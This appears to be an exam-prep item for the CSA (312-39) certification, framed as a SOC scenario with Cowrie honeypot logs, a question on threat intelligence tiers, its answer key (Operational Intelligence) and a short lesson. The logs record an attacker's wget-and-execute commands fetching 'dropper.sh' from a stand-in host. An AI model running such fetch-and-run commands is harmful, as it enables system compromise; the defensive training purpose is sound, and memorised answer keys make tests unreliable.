CSA (312-39) SOC Simulation Lab

This lab explores threat intelligence gathering within a SOC environment. You will analyze how deception technologies are used to extract actionable intelligence from adversaries targeting your infrastructure.

Scenario Context

You are a Tier 3 SOC Analyst at a large e-commerce provider. Over the past 48 hours, the L1 team has observed low-and-slow credential stuffing attacks against the external VPN portal. To map the threat actor's infrastructure and tooling without tipping them off, you have deployed a Cowrie SSH honeypot mimicking a vulnerable internal bastion host, intentionally left exposed on a DMZ segment.

Security Environment

SIEM query results from the deception network (Cowrie Honeypot Logs):

{"timestamp":"2026-04-08T14:32:01Z", "eventid":"cowrie.login.success", "src_ip":"198.51.100.45", "username":"admin", "password":"password123", "sensor":"ext-honeypot-01"} {"timestamp":"2026-04-08T14:32:05Z", "eventid":"cowrie.command.input", "src_ip":"198.51.100.45", "input":"wget http://203.0.113.10/dropper.sh -O /tmp/dropper.sh"} {"timestamp":"2026-04-08T14:32:08Z", "eventid":"cowrie.command.input", "src_ip":"198.51.100.45", "input":"chmod +x /tmp/dropper.sh && /tmp/dropper.sh"} {"timestamp":"2026-04-08T14:32:15Z", "eventid":"cowrie.session.file_download", "url":"http://203.0.113.10/linenum.sh", "shasum":"a1b2c3d4e5..."}

SOC Note: The attacker believes they have compromised a real asset and is dropping their toolset. We are actively extracting the payloads for reverse engineering.

Question

A type of threat intelligent that find out the information about the attacker by misleading them is known as __________.
SOC Hint: While the *act* of misleading is a deception tactic, think about the *tier* of intelligence this generates. We are learning about their specific campaigns, malware (TTPs), and infrastructure (who, what, how, where).

Expert Insight

What is happening in the SOC?

We've deliberately exposed a honeypot to a known adversary. Instead of simply blocking their IP (which forces them to rotate infrastructure and try again), we are tricking them into interacting with a fake environment. By doing this, we capture their exact commands, download their malware (`dropper.sh`), and map their C2 infrastructure (`203.0.113.10`). This transforms reactive defense into proactive intelligence gathering.

Why the answer is C (Operational Intelligence)

In standard Threat Intelligence frameworks (and specifically in the context of the CSA exam), understanding the "Who, What, Where, and How" of a specific attack campaign is defined as Operational Intelligence. Deception networks (misleading the attacker) are a primary method for gathering Operational Intelligence because they allow defenders to directly observe adversary Tactics, Techniques, and Procedures (TTPs) in real-time without risking production assets.

Why the other options are incorrect
  • D. Counter Intelligence: While deception is a counter-intelligence tactic, "Counter Intelligence" itself isn't recognized as one of the four core tiers of CTI (Strategic, Operational, Tactical, Technical) in standard exam terminology. The intelligence generated by the counter-operation is Operational.
  • A. Threat trending Intelligence: Not a standard CTI category. Trending usually falls under Strategic Intelligence (long-term shifts in adversary behavior).
  • B. Detection Threat Intelligence: While intelligence is used for detection, this is not a recognized category. (Tactical/Technical intelligence provides the actual IoCs and rules for detection).
MINI LESSON: The 4 Tiers of Cyber Threat Intelligence (CTI)

To succeed in a SOC or on the CSA exam, you must clearly distinguish between the levels of CTI:

  1. Strategic: High-level trends, financial impact, geopolitics. Audience: C-Suite / Board.
  2. Operational: Details on specific adversary campaigns, infrastructure, and TTPs (how they operate). Often gathered via human intelligence, deep web monitoring, or deception tech (honeypots). Audience: Threat Hunters / IR Teams.
  3. Tactical: Specific methodologies and tools used by attackers. Contextualized IoCs. Audience: SOC Architects / Engineers.
  4. Technical: Raw, short-lived indicators of compromise (IoCs) like malicious IPs, domains, or file hashes. Audience: Automated SIEMs / Firewalls / EDR.

Want to master more SOC investigations?

Explore more CSA simulations by ExamRange